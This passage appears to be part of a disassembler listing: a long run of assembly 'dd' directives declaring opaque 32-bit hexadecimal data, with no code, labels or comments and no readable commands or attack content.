		dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
		dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
		dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
		dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
		dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
		dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
		dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
		dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
		dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
		dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
		dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
		dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
		dd 0C4548906h, 1AC812h,	91CC214Ch, 28BF48D0h, 0B6D9500h
		dd 5B9038Bh, 2B363D96h,	2CDFD400h, 3CD7AD8Eh, 8D711718h
		dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
		dd 218E428Fh, 0C6E5E8h,	7DB15EBDh, 4A8513F2h, 0D70669FCh
		dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh,	39717064h
		dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
		dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
		dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh,	93054FF2h
		dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h,	4E7930F8h
		dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h,	27E853BFh
		dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
		dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
		dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
		dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
		dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
		dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
		dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
		dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
		dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
		dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
		dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
		dd 352504A1h, 52BCE00h,	0D5D3A79Ch, 0F7BE0011h,	0E5971042h
		dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
		dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
		dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
		dd 1C714AE0h, 0EF225Ch,	0EF42BD9Ah, 3B09D2h, 2ABCAC45h
		dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
		dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
		dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h,	12F1A80Bh
		dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
		dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
		dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
		dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
		dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
		dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
		dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch,	57006F7Fh
		dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
		dd 0EBF4220Fh, 0BCEFF7h
		dd 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh,	2566B322h
		dd 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h,	130FABCAh
		dd 29ACD8h, 0C32DCE3Bh,	276AE45Ch, 21574509h, 9A07D751h
		dd 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h
		dd 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h, 0A319030Ah
		dd 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh, 401F496Eh
		dd 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch, 7FC317h
		dd 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h,	0FC64C4ECh
		dd 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh, 31590840h
		dd 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h, 0ADC705Fh
		dd 15890004h, 64A87B0h,	2D501245h, 68056ED0h, 0EF82CD8h
		dd 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h, 0BA8560C0h
		dd 75F7CC00h, 48AC955Ah, 4AB90013h, 11F4ADD7h, 803908C4h
		dd 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch
		dd 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h
		dd 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah
		dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h
		dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah
		dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h
		dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h
		dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h
		dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h,	0E4DAEA32h
		dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h
		dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h
		dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h
		dd 18B22C3h, 5A9EFC08h,	0EB540584h, 0EC1811E9h,	8D01801Ch
		dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh
		dd 6C9ED5h, 0FF558817h,	82297F3h, 0EC832500h, 10111C93h
		dd 5C01750Ch, 213B7F6h,	0C34C002Dh, 0A80D03D6h,	18D38400h
		dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h,	37F2F4AFh
		dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh
		dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h
		dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh,	482F680Ah
		dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh
		dd 8A0FFC30h, 0AD6D22h,	77C90576h, 833AFBC4h, 9DF00805h
		dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h,	2079D5EAh
		dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh
		dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh,	0EB755AA9h
		dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h
		dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh
		dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h,	2C201021h
		dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h
		dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h
		dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h,	0D89D0EF7h
		dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h
		dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh
		dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh
		dd 7B81100h, 7A31BC4Bh,	836C0014h, 0FF09B068h, 0E0003D5h
		dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
		dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
		dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch,	0B3034F05h
		dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h,	0C42C9B5Dh
		dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh,	8E00CB4h
		dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
		dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
		dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
		dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh,	60E62FBh
		dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah,	13FCBE0h
		dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h,	17BF39EBh
		dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
		dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h,	0E6720A78h
		dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
		dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h,	0D0C80122h
		dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
		dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
		dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
		dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh,	8BF00032h
		dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
		dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
		dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h,	0EC6A6093h
		dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh,	0AEE83EFFh
		dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h,	1741090Fh
		dd 70038557h, 29DACC0h,	76DC00E8h, 8199101Ah, 0C01DFDF3h
		dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
		dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h,	94287506h
		dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h,	740F649h
		dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
		dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h,	0A5583553h
		dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h,	0E45E1739h
		dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
		dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
		dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
		dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
		dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
		dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
		dd 9D0065A1h, 429AC8Eh,	6A13DAh, 0A662E756h, 0A4D7471Fh
		dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
		dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h,	2E7FDA91h
		dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh,	48A680ABh
		dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
		dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
		dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
		dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
		dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
		dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh,	68D5200Bh
		dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h,	0BE41FC55h
		dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
		dd 0CB3D6Ch, 696A2188h,	0F1FA1612h, 1F4AC800h, 3A7FF95Bh
		dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
		dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
		dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h,	0A5E947EDh
		dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h,	1CC020FCh
		dd 887A1D94h, 84F40F4Fh
		dd 2FCF2BF5h, 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh
		dd 0D321A2DEh, 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah
		dd 671C1100h, 0A5BA582Ch, 68500762h, 37D7E344h,	132250BBh
		dd 890020FDh, 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h
		dd 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h
		dd 5B791DA9h, 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h
		dd 89660013h, 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h
		dd 3E90F8CFh, 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh
		dd 4203800Eh, 33F7024h,	254FF066h, 138896D5h, 1C004522h
		dd 270520A8h, 0FF1455h,	0D55A56A4h, 0D0A3ABB6h,	0D7E48B00h
		dd 0DA6B78E6h, 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh
		dd 9055FE78h, 7C408825h, 0F2EE0044h, 10C36003h,	4100D5E8h
		dd 7B78F6EAh, 77FB0220h, 0F8E90033h, 7D9A5FCh, 6EC01609h
		dd 71E8F1E0h, 23E0E23h,	0F826112Fh, 0B900EE21h,	60751735h
		dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h
		dd 0C3312Bh, 3BD3A0D0h,	327736F2h, 0E7B82000h, 875C48Fh
		dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh,	2A90D4h
		dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh,	9511000Ah
		dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
		dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
		dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h,	5408B324h
		dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h,	72F8D4B5h
		dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h,	0C6DE3780h
		dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
		dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh,	0B59428h
		dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
		dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
		dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
		dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
		dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
		dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
		dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h,	80F0756h
		dd 91F6482Eh, 3737566h,	0E888BA8Ch, 0F3E8DFA3h,	44C136AFh
		dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
		dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
		dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h,	8776032Fh
		dd 714A0CAh, 21C7ACB8h,	0F048BA76h, 0A3A51E5Ch,	172061C0h
		dd 0FF64845Ah, 5E85F8h,	0BBB3274Ah, 2E4BEC59h, 0C4102307h
		dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
		dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh,	1EA23907h
		dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h
		dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch
		dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h,	5D898F5Ch
		dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh
		dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh
		dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h,	0FAEFC9F8h
		dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h
		dd 1616851Fh, 1553C08h,	0F2064369h, 0A5EEE012h,	0C9032707h
		dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
		dd 31222F4h, 5CC3FD3Bh,	391C4A1Dh, 24CE4043h, 2DD8E83Dh
		dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
		dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
		dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
		dd 8E49C097h, 20009DBh,	8078BEFCh, 424412h, 0FE79B7E4h
		dd 387450DAh, 1353126h,	9992803Bh, 0C2D4717Eh, 24DD005Bh
		dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h,	63000A65h
		dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h,	8C38600Bh
		dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
		dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
		dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
		dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
		dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
		dd 112FC53h, 1C2693F4h,	0F4E7AA85h, 73013B1Fh, 8819826Dh
		dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
		dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
		dd 3E6A5F00h, 2437C48h,	18271E99h, 82007C55h, 6132A98h
		dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
		dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh,	4A00C0EFh
		dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
		dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h,	7048FDCAh
		dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh,	49D00F65h
		dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h,	0B513E67Dh
		dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
		dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
		dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
		dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
		dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
		dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
		dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
		dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
		dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
		dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
		dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
		dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
		dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
		dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
		dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
		dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
		dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
		dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
		dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h,	89B2EC5h
		dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
		dd 31642F0h, 41EC1215h,	0C76A2300h, 0B4DA468Ch,	17C00019h
		dd 744A423Ah, 800A80Bh,	3E4C754Bh, 3D9B73h, 5D4E8CADh
		dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
		dd 51702CC3h, 69AF000h,	0DE813EF4h, 1DE90002h, 29508E25h
		dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh,	0D87C0782h
		dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
		dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
		dd 824998F5h, 8774A01h,	0D4637550h, 0C8D01871h,	1906002Bh
		dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
		dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
		dd 5D719052h, 85AC8000h
		dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h
		dd 689F300h, 4C418CAFh,	42670075h, 3399CB1Fh, 0C438C2EFh
		dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh
		dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah
		dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h,	0A14A858Dh
		dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h,	94327866h
		dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh
		dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h,	89080700h
		dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h,	8BD0CEA3h
		dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h
		dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h
		dd 45C63842h, 0C4F964h,	83028485h, 60D78A89h, 0FE508200h
		dd 3C70228Bh, 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h
		dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h
		dd 2660660Bh, 0B0F00Ch,	25FA453Bh, 5CF00D74h, 406C21Fh
		dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h
		dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h,	36000E67h
		dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h,	0A6F2B752h
		dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h,	64178ED0h
		dd 1F20047h, 4EEC8238h,	270134F3h, 5DC04A8Fh, 1BCD2E6Bh
		dd 1D99DCh, 0EDA5FA29h,	0FBBB6001h, 2481660Bh, 1980FF7Dh
		dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch,	50F248D9h
		dd 45B398Eh, 1CF4E83Bh,	6A80803Fh, 4E268D0Ah, 4F740008h
		dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h,	23AB4056h
		dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
		dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h,	0DD121FFFh
		dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h,	3CA4070Ch
		dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
		dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
		dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
		dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
		dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
		dd 0B681D291h, 75393Eh,	0AA51F527h, 4F42EDh, 0E31224A6h
		dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
		dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
		dd 2CE4542h, 5C261CC0h,	405D217Eh, 183CDC18h, 10352350h
		dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h,	873C7E1Bh
		dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
		dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh,	867F00A8h
		dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah
		dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch
		dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h
		dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h,	0C925A7F2h
		dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h,	85E02CF0h
		dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h
		dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
		dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h,	308D8Bh
		dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h,	8A05C283h
		dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh,	0F1450B0h
		dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
		dd 0D1C680h, 83740567h,	724FBA68h, 0F021D605h, 0F780753Bh
		dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
		dd 478100EFh, 17C5625h,	6800625Bh, 12F03918h, 1DBDDA1Ch
		dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
		dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h,	0FC1C400Bh
		dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
		dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh,	60553899h
		dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
		dd 714A610h, 3758E1A5h,	0E4069159h, 8EBD4092h, 4D786599h
		dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
		dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
		dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
		dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
		dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh,	5513B2ECh
		dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h,	0CCB3DF01h
		dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
		dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
